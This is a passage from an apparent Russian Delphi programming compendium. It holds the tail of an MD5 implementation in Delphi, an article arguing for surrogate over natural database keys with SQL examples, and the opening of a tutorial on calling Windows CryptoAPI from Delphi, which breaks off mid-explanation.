   B:= C + LRot32(B + (C xor D xor A) + Data[ 6] + $04881d05,23);
   A:= B + LRot32(A + (B xor C xor D) + Data[ 9] + $d9d4d039,4);
   D:= A + LRot32(D + (A xor B xor C) + Data[12] + $e6db99e5,11);
   C:= D + LRot32(C + (D xor A xor B) + Data[15] + $1fa27cf8,16);
   B:= C + LRot32(B + (C xor D xor A) + Data[ 2] + $c4ac5665,23);

   A:= B + LRot32(A + (C xor (B or (not D))) + Data[ 0] + $f4292244,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Data[ 7] + $432aff97,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Data[14] + $ab9423a7,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Data[ 5] + $fc93a039,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Data[12] + $655b59c3,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Data[ 3] + $8f0ccc92,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Data[10] + $ffeff47d,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Data[ 1] + $85845dd1,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Data[ 8] + $6fa87e4f,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Data[15] + $fe2ce6e0,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Data[ 6] + $a3014314,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Data[13] + $4e0811a1,21);
   A:= B + LRot32(A + (C xor (B or (not D))) + Data[ 4] + $f7537e82,6);
   D:= A + LRot32(D + (B xor (A or (not C))) + Data[11] + $bd3af235,10);
   C:= D + LRot32(C + (A xor (D or (not B))) + Data[ 2] + $2ad7d2bb,15);
   B:= C + LRot32(B + (D xor (C or (not A))) + Data[ 9] + $eb86d391,21);

   Inc(CurrentHash[0],A);
   Inc(CurrentHash[1],B);
   Inc(CurrentHash[2],C);
   Inc(CurrentHash[3],D);
   Index:= 0;
   FillChar(HashBuffer,Sizeof(HashBuffer),0);
 end;

 procedure Update(const Buffer; Size: longword);
 var
   PBuf: ^byte;
 begin
   Inc(LenHi,Size shr 29);
   Inc(LenLo,Size*8);
   if LenLo< (Size*8) then
     Inc(LenHi);

   PBuf:= @Buffer;
   while Size> 0 do
   begin
     if (Sizeof(HashBuffer)-Index)<= DWord(Size) then
     begin
       Move(PBuf^,HashBuffer[Index],Sizeof(HashBuffer)-Index);
       Dec(Size,Sizeof(HashBuffer)-Index);
       Inc(PBuf,Sizeof(HashBuffer)-Index);
       Compress;
     end
     else
     begin
       Move(PBuf^,HashBuffer[Index],Size);
       Inc(Index,Size);
       Size:= 0;
     end;
   end;
 end;

 procedure Final(var Digest);
 begin
   HashBuffer[Index]:= $80;
   if Index>= 56 then Compress;
   PDWord(@HashBuffer[56])^:= LenLo;
   PDWord(@HashBuffer[60])^:= LenHi;
   Compress;
   Move(CurrentHash,Digest,Sizeof(CurrentHash));
   Burn;
 end;

begin
 Init;
 Update(s[1],Length(s));
 Final(a);
 result:='';
 for i:=0 to 15 do
   result:=result+IntToHex(a[i],0);
 Burn;
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято из http://forum.sources.ru


Естественные ключи против искуственных ключей

Естественные ключи против искуственных ключей

Автор: Анатолий Тенцер, статья 6-20 июля 1999 года, версия 1.1.

Данная статья излагает взгляд автора на проблему, регулярно обсуждающуюся в группах новостей, посвящённых разработке приложений с использованием РСУБД.

О сущности проблемы

Каждая запись в таблице, входящей в РСУБД, должна иметь первичный ключ (ПК) - набор атрибутов, уникально идентифицирующий её в таблице. Случай, когда таблица не имеет первичного ключа, имеет право на существование, однако в данной статье не рассматривается.
В качестве первичного ключа может использоваться -
Естественный Ключ (ЕК) - набор атрибутов описываемой записью сущности, уникально её идентифицирующий (например, номер паспорта для человека);
или
Суррогатный Ключ (СК) - автоматически сгенерированное поле, никак не связанное с информационным содержанием записи. Обычно в роли СК выступает автоинкрементное поле типа INTEGER.
Есть два мнения:
· СК должны использоваться, только если ЕК не существует. Если же ЕК существует, то идентификация записи внутри БД осуществляется по имеющемуся ЕК;
· СК должны добавляться в любую таблицу, на которую существуют ссылки (REFERENCES) из других таблиц, и связи между ними должны организовываться только при помощи СК. Разумеется, поиск записи и представление её пользователю по прежнему производятся на основании ЕК.
Естественно, можно представить себе и некое промежуточное мнение, но сейчас дискуссия ведётся в рамках двух вышеизложенных.

Когда появляются СК

Для понимания места и значения СК рассмотрим этап проектирования, на котором они вводятся в структуру БД, и методику их введения.
Для ясности рассмотрим БД из 2-х отношений - Города (City) и Люди (People) Предполагаем, что город характеризуется Hазванием (Name), все города имеют разные названия, человек характеризуется Фамилией (Family), номером паспорта (Passport) и городом проживания (City). Также полагаем, что каждый человек имеет уникальный номер паспорта. Hа этапе составления инфологической модели БД её структура одинакова и для ЕК и для СК.

CREATE TABLE City(
 Name VARCHAR(30) NOT NULL PRIMARY KEY
);
CREATE TABLE People(
 Passport CHAR(9) NOT NULL PRIMARY KEY,
 Family VARCHAR(20) NOT NULL,
 City VARCHAR(30) NOT NULL REFERENCES City(Name)
);

Для ЕК все готово. Для СК делаем еще один этап и преобразуем таблицы следующим образом:
CREATE TABLE City(

/*
В разных диалектах языка SQL автоинкрементное поле будет выражено по-разному - например, через IDENTITY, SEQUENCE или GENERATOR. Здесь мы используем условное обозначение AUTOINCREMENT.
*/

 Id INT NOT NULL AUTOINCREMENT PRIMARY KEY
 Name VARCHAR(30) NOT NULL UNIQUE
);

CREATE TABLE People(
 Id INT NOT NULL AUTOINCREMENT PRIMARY KEY,
 Passport CHAR(9) NOT NULL UNIQUE,
 Family VARCHAR(20) NOT NULL,
 CityId INT NOT NULL REFERENCES City(Id)
);

Обращаю внимание, что:
Все условия, диктуемые предметной областью (уникальность имени города и номера паспорта) продолжают присутствовать в БД, только обеспечиваются не условием PRIMARY KEY, а условием UNIQUE;
Ключевого слова AUTOINCREMENT ни в одном из известных мне серверов нет. Это просто обозначение, что поле генерируется автоматически.
В общем случае алгоритм добавления СК выглядит следующим образом:
В таблицу добавляется поле INTEGER AUTOINCREMENT;
Оно объявляется PRIMARY KEY;
Старый PRIMARY KEY (ЕК) заменяется на UNIQUE CONSTRAINT ;
Если в таблице есть REFERENCES на другие таблицы, то поля, входящие в REFERENCES, заменяются на одно поле типа INTEGER, составляющее первичный ключ (как People.City заменена на People.CityId).
Это механическая операция, которая никак не нарушает инфологической модели и целостности данных. С точки зрения инфологической модели эти две базы данных эквивалентны.

Зачем всё это надо

Возникает резонный вопрос - а зачем? Действительно, вводить в таблицы какие-то поля, что-то заменять, зачем? Итак, что мы получаем, проделав эту "механическую" операцию.

Упрощение сопровождения

Это область, где СК демонстрируют наибольшие преимущества. Поскольку операции связи между таблицами отделены от логики "внутри таблиц" - и то и другое можно менять независимо и не затрагивая остального.
Hапример - выяснилось, что города имеют дублирующиеся названия. Решено ввести в City еще одно поле - Регион (Region) и сделать ПК (City, Region). В случае ЕК - изменяется таблица City, изменяется таблица People - добавляется поле Region (да, да, для всех записей, про размеры молчу), переписываются все запросы, в том числе на клиентах, в которых участвует City, в них добавляются строка AND XXX.Region = City.Region.
Да, чуть не забыл, большинство серверов сильно не любят ALTER TABLE на поля, входящие в PRIMARY KEY и FOREIGN KEY.
В случае СК - добавляется поле в City, изменяется UNIQUE CONSTRAINT. Всё.
Еще пример - в случае СК изменение списка полей в SELECT никогда не заставляет переписывать JOIN. В случае ЕК - добавилось поле, не входящее в ПК связанной таблицы - переписывайте.
Еще пример - поменялся тип данных поля, входящего в ЕК. И опять переделки кучи таблиц, заново оптимизация индексов...
В условиях меняющегося законодательства это достоинство СК само по себе достаточно для их использования.

Уменьшение размера БД

Предположим в нашем примере, что средняя длина названия города - 10 байт. Тогда на каждого человека в среднем будет приходиться 10 байт для хранения ссылки на город (реально несколько больше за счёт служебной информации на VARCHAR и гораздо больше за счёт индекса по People.City, который придётся построить, чтобы REFERENCES работала эффективно). В случае СК - 4 байта. Экономия - минимум 6 байт на человека, приблизительно 10 Мб для г. Hовосибирска. Очевидно, что в большинстве случаев уменьшение размера БД - не самоцель, но это, очевидно, приведет и к росту быстродействия.
Звучали аргументы, что БД может сама оптимизировать хранение ЕК, подставив вместо него в People некую хэш-функцию (фактически создав СК сама). Hо ни один из реально существующих коммерческих серверов БД так не делает, и есть основания полагать, что и не будет делать. Простейшим обоснованием такого мнения является то, что при подобной подстановке банальные операторы ADD CONSTRAINT … FOREIGN KEY или DROP CONSTRAINT … FOREIGN KEY будут приводить к нешуточной перетряске таблиц, с ощутимым изменением всей БД (надо будет физически добавить или удалить (с заменой на хэш-функцию)) все поля, входящие в CONSTRAINT.

Увеличение скорости выборки данных

Вопрос достаточно спорный, однако, исходя из предположений, что:
· База данных нормализована;
· Записей в таблицах много (десятки тысяч и более);
· Запросы преимущественно возвращают ограниченные наборы данных (максимум единицы процентов от размера таблицы).
быстродействие системы на СК будет ощутимо выше. И вот почему:
ЕК могут потенциально дать более высокое быстродействие, когда:
· Требуется только информация, входящая в первичные ключи связанных таблиц;
· нет условий WHERE по полям связанных таблиц.
Т.е., в нашем примере это запрос типа:

SELECT Family, City FROM People;

В случае СК этот запрос будет выглядеть как

SELECT P.Family, C.Name
  FROM People P INNER JOIN City C ON P.CityId = C.Id;

Казалось бы, ЕК дает более простой запрос с меньшим количеством таблиц, который выполнится быстрее. Hо и тут не всё так просто: размеры таблиц для ЕК - больше (см. выше) и дисковая активность легко съест преимущество, полученное за счёт отсутствия JOIN`а. Ещё сильнее это скажется, если при выборке данных используется их фильтрование (а при сколько-либо существенном объеме таблиц оно используется обязательно). Дело в том, что поиск, как правило, осуществляется по информативным полям типа CHAR, DATETIME и т.п. Поэтому часто бывает быстрее найти в справочной таблице набор значений, ограничивающий возвращаемый запросом результат, а затем путем JOIN`а по быстрому INTEGER-индексу отобрать подходящие записи из большой таблицы. Например:

(ЕК) SELECT Family, City FROM People WHERE City = 'Иваново';
будет выполняться в разы медленнее, чем
(CК) SELECT P.Family, C.Name
       FROM People P INNER JOIN City C ON P.CityId = C.Id
         WHERE C.Name = 'Иваново';

В случае ЕК - будет INDEX SCAN большой таблицы People по CHARACTER-индексу. В случае СК - INDEX SCAN меньшей CITY и JOIN по эффективному INTEGER индексу.
А вот если заменить = 'Иваново' на LIKE '%ваново', то речь пойдет о торможении ЕК относительно СК на порядок и более.
Аналогично, как только в случае с ЕК понадобится включить в запрос поле из City, не входящее в её первичный ключ - JOIN будет осуществлятся по медленному индексу и быстродействие упадет ощутимо ниже уровня СК. Выводы каждый может делать сам, но пусть он вспомнит, какой процент от общего числа его запросов составляют SELECT * FROM ЕдинственнаяТаблица. У меня - ничтожно малый.
Да, сторонники ЕК любят проводить в качестве достоинства "информативность таблиц", которая в случае ЕК растет. Ещё раз повторю, что максимальной информативностью обладает таблица, содержащая всю БД в виде flat-file. Любое "повышение информативности таблиц" есть увеличение степени дублирования в них информации, что не есть хорошо.

Увеличение скорости обновления данных

INSERT

Hа первый взгляд ЕК быстрее - не надо при INSERT генерировать лишнего поля и проверять его уникальность. В общем-то, так оно и есть, хотя это замедление проявляется только при очень высокой интенсивности транзакций. Впрочем, и это неочевидно, т.к. некоторые серверы оптимизируют вставку записей, если по ключевому полю построен монотонно возрастающий CLUSTERED индекс. В случае СК это элементарно, в случае ЕК - увы, обычно недостижимо. Кроме этого, INSERT в таблицу на стороне MANY (который происходит чаще) пойдет быстрее, т.к. REFERENCES будут проверяться по более быстрому индексу.

UPDATE

При обновлении поля, входящего в ЕК, придётся каскадно обновить и все связанные таблицы. Так, переименование Ленинграда в Санкт-Петербург потребует с нашем примере транзакции на несколько миллионов записей. Обновление любого атрибута в системе с СК приведет к обновлению только одной записи. Очевидно, что в случае распределенной системы, наличия архивов и т.п. ситуация только усугубится. Если обновляются поля не входящие в ЕК – быстродействие будет почти одинаковым.

Еще о CASCADE UPDATE

Далеко не все серверы БД поддерживают их на декларативном уровне. Аргументы "это у вас сервер кривой" в этом случае вряд ли корректны. Это вынуждает писать отдельную логику для обновления, что не всегда просто (приводился хороший пример - при отсутствии CASCADE UPDATE обновить поле, на которое есть ссылки, вообще невозможно - надо отключать REFERENCES или создавать копию записи, что не всегда допустимо (другие поля могут быть UNIQUE)).

DELETE

В случае СК будет выполняться быстрее, по той простой причине, что проверка REFERENCES пойдет по быстрому индексу.

А есть ли хорошие ЕК?

Hичто не вечно под Луной. Самый, казалось бы, надежный атрибут вдруг отменяется и перестаёт быть уникальным (далеко ходить не буду - рубль обычный и рубль деноминированный, примерам несть числа). Американцы ругаются на неуникальность номера социального страхования, Microsoft - на китайские серые сетевые платы с дублирующимися MAC-адресами, которые могут привести к дублированию GUID, врачи делают операции по смене пола, а биологи клонируют животных. В этих условиях (и учитывая закон неубывания энтропии) закладывать в систему тезис о неизменности ЕК - закладывать под себя мину. Их надо выделять в отдельный логический слой и по возможности изолировать от остальной информации. Так их изменение переживается куда легче. Да и вообще: однозначно ассоциировать сущность с каким-то из атрибутов этой сущности - ну, странно, что-ли. Hомер паспорта ещё не есть человек. СК же - это некая субстанция, именно и означающая сущность. Именно сущность, а не какой-то из её атрибутов.

Типичные аргументы сторонников ЕК

В системе с СК не осуществляется контроль правильности ввода информации

Это не так. Контроль не осуществлялся бы, если бы на поля, входящие в ЕК не было наложено ограничение уникальности. Очевидно, что если предметная область диктует какие-то ограничения на атрибуты ЕК, то они будут отражены в БД в любом случае.

В системе с ЕК меньше JOIN`ов, следовательно, запросы проще и разработка удобнее

Да, меньше. Hо, в системе с СК тривиально пишется:

CREATE VIEW PeopleEK AS
  SELECT P.Family, P.Passport, C.Name
    FROM People P INNER JOIN City C ON P.CityId = C.Id

И можно иметь все те же прелести. С более, правда, высоким быстродействием. При этом неплохо упомянуть, что в случае ЕК многим придется программировать каскадные операции, и, не дай Бог в распределённой среде, бороться с проблемами быстродействия. Hа фоне этого "короткие" запросы уже не кажутся столь привлекательными.

Введение ЕК нарушает третью нормальную форму

Вспомним определение:
Таблица находится в третьей нормальной форме (3НФ), если она удовлетворяет определению 2НФ, и ни одно из её неключевых полей не зависит функционально от любого другого неключевого поля.
То есть, речи о ключевых полях там не идёт вообще. Поэтому добавление ещё одного ключа в таблицу ни в коей мере не может нарушить 3НФ. Вообще, для таблицы с несколькими возможными ключами имеет смысл говорить не о 3 НФ, а о Нормальной Форме Бойса-Кодда, которая специально введена для таких таблиц.
Итак:
Таблица находится в нормальной форме Бойса-Кодда (НФБК), если и только если любая функциональная зависимость между его полями сводится к полной функциональной зависимости от возможного ключа.
Таким образом, таблица, имеющая СК, легко может быть нормализована хоть до 5НФ. Точнее будет сказать, что СК к нормализации не имеют никакого отношения. Более того, введение СК уменьшает избыточность данных в БД, что вообще хорошо согласуется с идеологией нормализации. В сущности, нормализация и есть уменьшение информативности отдельных таблиц по определенным правилам. Только СК устраняют аномалии не внутри таблицы, а на межтабличном уровне (типа устранения каскадных обновлений). Так сказать, система с СК - святее Папы Римского :-). В самом деле – ситуация, когда при изменении одного из полей таблицы приходится изменять содержимое этого же поля в других записях ЭТОЙ ЖЕ таблицы, рассматривается как аномалия обновления. Но в системе с ЕК придется проделать то же самое В СВЯЗАННОЙ таблице при изменении ключевого атрибута на стороне 1 отношения 1:N. Очевидно, что эта ситуация с точки зрения физической реализации БД ничем не лучше. В системе с СК таких ситуаций не возникает.

Таблицы в системе с ЕК информативнее

Максимальной информативностью обладает таблица, содержащая всю БД в виде flat-file. Любое "повышение информативности таблиц" есть увеличение степени дублирования в них информации, что не обязательно есть хорошо. Да и вообще термин "Информативность таблицы" сомнителен. Видимо, более важна информативность БД, которая в обоих случаях одинакова.

Заключение

В общем-то, выводы очевидны – введение СК позволяет получить лучше управляемую, более компактную и быстродействующую БД. Разумеется, это не панацея. В некоторых случаях (например, таблица на которую нет REFERENCES и в которую осуществляется интенсивная вставка данных и т.п.) более верно использовать ЕК или не использовать ПК вообще (последнее категорически противопоказано для многих РСУБД и средств разработки клиентских приложений). Но речь шла именно о типовой методике, которую надо рекомендовать к применению в общем случае. Уникальные ситуации могут потребовать уникальных же решений (иногда и нормализацией приходится поступаться).

Тенцер А. Л.
ICQ UIN 15925834
tolik@katren.nsk.ru?subject=about-natural-keys-versus-artificial-keys-by-Tentser-letter


CryptoAPI (статья)

Delphi и Windows API для защиты секретов

Константин Виноградов, Лилия Виноградова, "Комиздат"

Как реализовать методы криптографической защиты информации при помощи подручных средств – Windows и Delphi

Часть 1
Мы вступили в цифровой век. На смену бумажным документам пришли электронные, а личные контакты все чаще уступают место переписке по e-mail. Поэтому «шпионские штучки» вроде паролей и шифровок становятся все более привычными и необходимыми инструментами безопасности.

Криптографические возможности Windows
Сразу договоримся, что никакая система защиты информации не может быть абсолютно надежной. Речь может идти лишь о некоторой степени надежности и рисках, связанных со взломом защиты. Поэтому с практической точки зрения есть смысл оценить важность данных и экономно подстелить соломку на случай неудачи. В наших приложениях, например, мы выдаем кредит доверия операционной системе Windows, несмотря на закрытость ее кода.
Итак, ОС мы доверяем. Чтобы криптозащиту нельзя было «обойти» с другой стороны - к примеру, перехватить из незащищенной области памяти секретные пароли - криптографические функции должны быть частью операционной системы. В семействе Windows, начиная с Windows 95, обеспечивается реализация шифрования, генерации ключей, создания и проверки цифровых подписей и других криптографических задач. Эти функции необходимы для работы операционной системы, однако ими может воспользоваться и любая прикладная программа - для этого программисту достаточно обратиться к нужной подпрограмме так, как предписывает криптографический интерфейс прикладных программ (CryptoAPI).
Разумеется, по мере совершенствования Windows расширялся и состав ее криптографической подсистемы. Помимо базовых операций, в настоящее время в CryptoAPI 2.0 поддерживается работа с сертификатами, шифрованными сообщениями в формате PKCS #7 и пр.
Описание функций CryptoAPI, помимо специальных книг, можно найти в MSDN Library, или в CD-версии, в файле crypto.chm.

Взаимодействие с CryptoAPI
Функции CryptoAPI можно вызвать из программы, написанной на любимом многими (в том числе и авторами) языке С++. Тем не менее, Pascal де-факто признан стандартом в области обучения программированию. (Не будем спорить о том, хорошо это или плохо, чтобы не ввязываться в драку, пусть даже и виртуальную.) Кроме того, в ряде отечественных компаний Delphi является базовым средством разработки. Поэтому все примеры были реализованы в среде Delphi. Хотя в качестве инструмента можно было бы выбрать и MS Visual C++.
Код функций криптографической подсистемы содержится в нескольких динамически загружаемых библиотеках Windows (advapi32.dll, crypt32.dll). Для обращения к такой функции из прикладной программы на Object Pascal следует объявить ее как внешнюю. Заголовок функции в интерфейсной части модуля будет выглядеть, например, так:

function CryptAcquireContext (
phPROV: PHCRYPTPROV;
pszContainer: LPCTSTR;
pszProvider: LPCTSTR;
dwProvType: DWORD;
dwFlags: DWORD): BOOL; stdcall;

а в исполняемой части вместо тела функции нужно вписать директиву extern с указанием библиотеки, в которой содержится функция, и, возможно, ее имени в этой библиотеке (если оно отличается от имени функции в создаваемом модуле), например:
function CryptAcquireContext; external 'advapi32.dll'
name 'CryptAcquireContextA';
Таким образом, имея описание функций CryptoAPI, можно собрать заголовки функций в отдельном модуле, который будет обеспечивать взаимодействие прикладной программы с криптографической подсистемой. Разумеется, такая работа была проделана программистами Microsoft, и соответствующий заголовочный файл (wincrypt.h) был включен в поставку MS Visual C++. К счастью, появилась и Delphi-версия (wcrypt2.pas). Ее можно найти здесь. Подключив модуль к проекту, вы сможете использовать не только функции CryptoAPI, но и мнемонические константы режимов, идентификаторы алгоритмов и прочих параметров, необходимых на практике.
И последнее замечание перед тем, как опробовать CryptoAPI в деле. Ряд функций был реализован только в Windows 2000. Но и на старушку Windows 98 можно найти управу: при установке Internet Explorer 5 интересующие нас библиотеки обновляются, позволяя использовать новейшие криптографические возможности. Нужно лишь задать для Delphi-проекта параметр условной компиляции NT5, после чего вызовы функций, появившихся лишь в Windows 2000, будут нормально работать.

Знакомство с криптопровайдерами
Функции CryptoAPI обеспечивают прикладным программам доступ к криптографическим возможностям Windows. Однако они являются лишь «передаточным звеном» в сложной цепи обработки информации. Основную работу выполняют скрытые от глаз программиста функции, входящие в специализированные программные (или программно-аппаратные) модули — провайдеры (поставщики) криптографических услуг (CSP - Cryptographic Service Providers), или криптопровайдеры

Программная часть криптопровайдера представляет собой dll-файл, подписанный Microsoft; периодически Windows проверяет цифровую подпись, что исключает возможность подмены криптопровайдера.

Криптопровайдеры отличаются друг от друга:
· составом функций (например, некоторые криптопровайдеры не выполняют шифрование данных, ограничиваясь созданием и проверкой цифровых подписей);
· требованиями к оборудованию (специализированные криптопровайдеры могут требовать устройства для работы со смарт-картами для выполнения аутентификации пользователя);
· алгоритмами, осуществляющими базовые действия (создание ключей, хеширование и пр.).
По составу функций и обеспечивающих их алгоритмов криптопровайдеры подразделяются на типы. Например, любой CSP типа PROV_RSA_FULL поддерживает как шифрование, так и цифровые подписи, использует для обмена ключами и создания подписей алгоритм RSA, для шифрования — алгоритмы RC2 и RC4, а для хеширования - MD5 и SHA.
В зависимости от версии операционной системы состав установленных криптопровайдеров может существенно изменяться. Однако на любом компьютере с Windows можно найти Microsoft Base Cryptographic Provider, относящийся к уже известному нам типу PROV_RSA_FULL. Именно с этим провайдером по умолчанию будут взаимодействовать все программы.
Использование криптографических возможностей Windows напоминает работу программы с графическим устройством. Криптопровайдер подобен графическому драйверу: он может обеспечивать взаимодействие программного обеспечения с оборудованием (устройство чтения смарт-карт, аппаратные датчики случайных чисел и пр.). Для вывода информации на графическое устройство приложение не должно непосредственно обращаться к драйверу — вместо этого нужно получить у системы контекст устройства, посредством которого и осуществляются все операции. Это позволяет прикладному программисту использовать графическое устройство, ничего не зная о его аппаратной реализации. Точно так же для использования криптографических функций приложение обращается к криптопровайдеру не напрямую, а через CryptoAPI. При этом вначале необходимо запросить у системы контекст криптопровайдера.
Первым делом, хотя бы из любопытства, выясним, какие же криптопровайдеры установлены в системе. Для этого нам понадобятся четыре функции CryptoAPI (выходные параметры выделены жирным шрифтом, а входные - курсивом):
· CryptEnumProviders (i, резерв, флаги, тип, имя, длина_имени) - возвращает имя и тип i-го по порядку криптопровайдера в системе (нумерация начинается с нуля);
· CryptAcquireContext (провайдер, контейнер, имя, тип, флаги) - выполняет подключение к криптопровайдеру с заданным типом и именем и возвращает его дескриптор (контекст). При подключении мы будем передавать функции флаг CRYPT_VERIFYCONTEXT, служащий для получения контекста без подключения к контейнеру ключей;
· CryptGetProvParam (провайдер, параметр, данные, размер_данных, флаги) - возвращает значение указанного параметра провайдера, например, версии (второй параметр при вызове функции - PP_VERSION), типа реализации (программный, аппаратный, смешанный - PP_IMPTYPE), поддерживаемых алгоритмов (PP_ENUMALGS). Список поддерживаемых алгоритмов при помощи этой функции может быть получен следующим образом: при одном вызове функции возвращается информация об одном алгоритме; при первом вызове функции следует передать значение флага CRYPT_FIRST, а при последующих флаг должен быть равен 0;
· CryptReleaseContext (провайдер, флаги) - освобождает дескриптор криптопровайдера.
Каждая из этих функций, как и большинство других функций CryptoAPI, возвращает логическое значение, равное true, в случае успешного завершения, и false - если возникли ошибки. Код ошибки может быть получен при помощи функции GetLastError. Возможные значения кодов ошибки приведены в упоминавшейся выше документации. Например, при вызове функции CryptGetProvParam для получения версии провайдера следует учесть возможность возникновения ошибок следующим образом:

if not CryptGetProvParam(hProv, PP_VERSION, (@vers), @DataLen, 0)
then
begin
case int64(GetLastError) of
ERROR_INVALID_HANDLE: err := 'ERROR_INVALID_HANDLE';
ERROR_INVALID_PARAMETER: err := 'ERROR_INVALID_PARAMETER';
ERROR_MORE_DATA: err := 'ERROR_MORE_DATA';
ERROR_NO_MORE_ITEMS: err := 'ERROR_NO_MORE_ITEMS';
NTE_BAD_FLAGS: err := 'NTE_BAD_FLAGS';
NTE_BAD_TYPE: err := 'NTE_BAD_TYPE';
NTE_BAD_UID: err := 'NTE_BAD_UID';
else err := 'Unknown error';
end;
MessageDlg('Error of CryptGetProvParam: ' + err, mtError, [mbOK], 0);
exit
end;

Текст процедуры, выводящей в Memo-поле FileMemo формы информацию об установленных в системе криптопровайдерах, приведен в

type algInfo = record
algID: ALG_ID;
dwBits: DWORD;
dwNameLen: DWORD;
szName: array[0..100] of char;
end;
{вспомогательная функция, преобразующая тип провайдера в строку}
function ProvTypeToStr(provType: DWORD): string;
begin
case provType of
PROV_RSA_FULL: ProvTypeToStr := 'RSA full provider';
PROV_RSA_SIG: ProvTypeToStr := 'RSA signature provider';
PROV_DSS: ProvTypeToStr := 'DSS provider';
PROV_DSS_DH: ProvTypeToStr := 'DSS and Diffie-Hellman provider';
PROV_FORTEZZA: ProvTypeToStr := 'Fortezza provider';
PROV_MS_EXCHANGE: ProvTypeToStr := 'MS Exchange provider';
PROV_RSA_SCHANNEL: ProvTypeToStr := 'RSA secure channel provider';
PROV_SSL: ProvTypeToStr := 'SSL provider';
else ProvTypeToStr := 'Unknown provider';
end;
end;
{вспомогательная функция, преобразующая тип реализации в строку}
function ImpTypeToStr(it: DWORD): string;
begin
case it of
CRYPT_IMPL_HARDWARE: ImpTypeToStr := 'аппаратный';
CRYPT_IMPL_SOFTWARE: ImpTypeToStr := 'программный';
CRYPT_IMPL_MIXED: ImpTypeToStr := 'смешанный';
CRYPT_IMPL_UNKNOWN: ImpTypeToStr := 'неизвестен';
else ImpTypeToStr := 'неверное значение';
end;
end;
{процедура вывода информации о криптопровайдерах}
procedure TMainForm.InfoItemClick(Sender: TObject);
var i: DWORD;
dwProvType, cbName, DataLen: DWORD;
provName: array[0..200] of char;
vers: array[0..3] of byte;
impType: DWORD;
ai: algInfo;
err: string;
begin
i:= 0;
FileMemo.Clear;
while (CryptEnumProviders(i, nil, 0, {проверяем наличие еще одного}
@dwProvType, nil, @cbName)) do
begin
if CryptEnumProviders(i, nil, 0,   {получаем имя CSP}
@dwProvType, @provName, @cbName) then
begin
FileMemo.Lines.Add('Криптопровайдер: '+provName);
FileMemo.Lines.Add('Тип: '+IntToStr(dwProvType)+' - '+
ProvTypeToStr(dwProvType));
if not CryptAcquireContext(@hProv, nil, provName, dwProvType,
CRYPT_VERIFYCONTEXT)
then
begin
{обработка ошибок}
end;
DataLen := 4;
if not CryptGetProvParam(hProv, PP_VERSION, (@vers), @DataLen, 0)
then
begin
{обработка ошибок}
end;
FileMemo.Lines.Add('Версия: ' + chr(vers[1]+) + '.' + chr(vers[0]+));
if not CryptGetProvParam(hProv, PP_IMPTYPE, @impType, @DataLen, 0)
then
begin
{обработка ошибок}
end;
FileMemo.Lines.Add('Тип реализации: '+ImpTypeToStr(impType));
FileMemo.Lines.Add('Поддерживает алгоритмы:');
DataLen := sizeof(ai);
if not CryptGetProvParam(hProv, PP_ENUMALGS, @ai, @DataLen, CRYPT_FIRST)
then
begin
{обработка ошибок}
end;
with ai do
FileMemo.Lines.Add(szName+#9+'длина ключа - '+IntToStr(dwBits)+
' бит' +#9+ 'ID: '+IntToStr(AlgID));
DataLen := sizeof(ai);
while CryptGetProvParam(hProv, PP_ENUMALGS, @ai, @DataLen, 0) do
begin
with ai do FileMemo.Lines.Add(szName+#9+'длина ключа - '
+IntToStr(dwBits)+' бит'+#9+'ID: '+IntToStr(AlgID));
DataLen := sizeof(ai);
end;
FileMemo.Lines.Add('');
CryptReleaseContext(hProv, 0);
end;
inc(i);
end;
end;

Предполагается, что процедура вызывается при выборе соответствующего элемента в главном меню формы. Для краткости в тексте программы опущены фрагменты, выполняющие обработку ошибок.

Шифрование с использованием паролей
После того как мы узнали кое-что о структуре CryptoAPI, можно воспользоваться ею в практических целях. Пожалуй, самым ожидаемым действием криптографической подсистемы является шифрование файлов - так, чтобы лишь пользователь, знающий определенный пароль, мог получить к ним доступ.
Для шифрования данных в CryptoAPI применяются симметричные алгоритмы. Симметричность означает, что для шифрования и расшифровки данных используется один и тот же ключ, известный как шифрующей, так и расшифровывающей стороне. При этом плохо выбранный ключ шифрования может дать противнику возможность взломать шифр. Поэтому одной из функций криптографической подсистемы должна быть генерация «хороших» ключей либо случайным образом, либо на основании некоторой информации, предоставляемой пользователем, например пароля.
В случае создания ключа на основании пароля должно выполняться следующее обязательное условие: при многократном повторении процедуры генерации ключа на одном и том же пароле должны получаться идентичные ключи. Ключ шифрования имеет, как правило, строго определенную длину, определяемую используемым алгоритмом, а длина пароля может быть произвольной. Даже интуитивно понятно, что для однозначной генерации ключей нужно привести разнообразные пароли к некоторой единой форме. Это достигается с помощью хеширования.
Хешированием (от англ. hash - разрезать, крошить, перемешивать) называется преобразование строки произвольной длины в битовую последовательность фиксированной длины (хеш-значение, или просто хеш) с обеспечением следующих условий:
· по хеш-значению невозможно восстановить исходное сообщение;
· практически невозможно найти еще один текст, дающий такой же хеш, как и наперед заданное сообщение;
· практически невозможно найти два различных текста, дающих одинаковые хеш-значения (такие ситуации называют коллизиями).
При соблюдении приведенных условий хеш-значение служит компактным цифровым отпечатком (дайджестом) сообщения. Существует множество алгоритмов хеширования. CryptoAPI поддерживает, например, алгоритмы MD5 (MD - Message Digest) и SHA (Secure Hash Algorithm).
Итак, чтобы создать ключ шифрования на основании пароля, нам нужно вначале получить хеш этого пароля. Для этого следует создать с помощью CryptoAPI хеш-объект, воспользовавшись функцией CryptCreateHash (провайдер, ID_алгоритма, ключ, флаги, хеш), которой нужно передать дескриптор криптопровайдера (полученный с помощью CryptAcquireContext) и идентификатор алгоритма хеширования (остальные параметры могут быть нулями). В результате мы получим дескриптор хеш-объекта. Этот объект можно представить себе как черный ящик, который принимает любые данные и «перемалывает» их, сохраняя внутри себя лишь хеш-значение. Подать данные на вход хеш-объекта позволяет функция CryptHashData (дескриптор, данные, размер_данных, флаги).
